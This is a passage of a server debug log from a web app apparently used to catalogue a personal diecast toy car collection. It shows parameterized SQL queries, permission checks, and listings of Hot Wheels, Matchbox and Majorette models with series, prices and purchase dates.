  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T06:10:57.123Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:10:57.123Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:10:57.124Z server-connect:app Executing action step identify
2026-02-04T06:10:57.124Z server-connect:app options: { provider: 'security' }
2026-02-04T06:10:57.124Z server-connect:output identity: 1
2026-02-04T06:10:57.124Z server-connect:app Executing action step restrict
2026-02-04T06:10:57.124Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:10:57.124Z server-connect:app Executing action step identify
2026-02-04T06:10:57.124Z server-connect:app options: { provider: 'security' }
2026-02-04T06:10:57.124Z server-connect:output identity: 1
2026-02-04T06:10:57.124Z server-connect:app Executing action step restrict
2026-02-04T06:10:57.124Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:10:57.125Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T06:10:57.125Z server-connect:output restrict: undefined
2026-02-04T06:10:57.125Z server-connect:app Executing action step paged
2026-02-04T06:10:57.125Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:10:57.125Z server-connect:app Executing action step identify
2026-02-04T06:10:57.125Z server-connect:app options: { provider: 'security' }
2026-02-04T06:10:57.126Z server-connect:output identity: 1
2026-02-04T06:10:57.126Z server-connect:app Executing action step restrict
2026-02-04T06:10:57.126Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:10:57.126Z server-connect:output restrict: undefined
2026-02-04T06:10:57.126Z server-connect:app Executing action step select
2026-02-04T06:10:57.126Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:10:57.128Z server-connect:output restrict: undefined
2026-02-04T06:10:57.128Z server-connect:app Executing action step select
2026-02-04T06:10:57.128Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:10:57.129Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 }
]
2026-02-04T06:10:57.130Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T06:10:57.130Z server-connect:app Executing action step select
2026-02-04T06:10:57.130Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:10:57.132Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 133,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:10:57.133Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T06:10:57.134Z server-connect:app Executing action step select
2026-02-04T06:10:57.134Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:10:57.135Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T06:11:05.847Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:11:05.847Z server-connect:app Executing action step identify
2026-02-04T06:11:05.847Z server-connect:app options: { provider: 'security' }
2026-02-04T06:11:05.848Z server-connect:output identity: 1
2026-02-04T06:11:05.848Z server-connect:app Executing action step restrict
2026-02-04T06:11:05.848Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:11:05.848Z server-connect:output restrict: undefined
2026-02-04T06:11:05.848Z server-connect:app Executing action step paged
2026-02-04T06:11:05.848Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:11:05.851Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 21,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
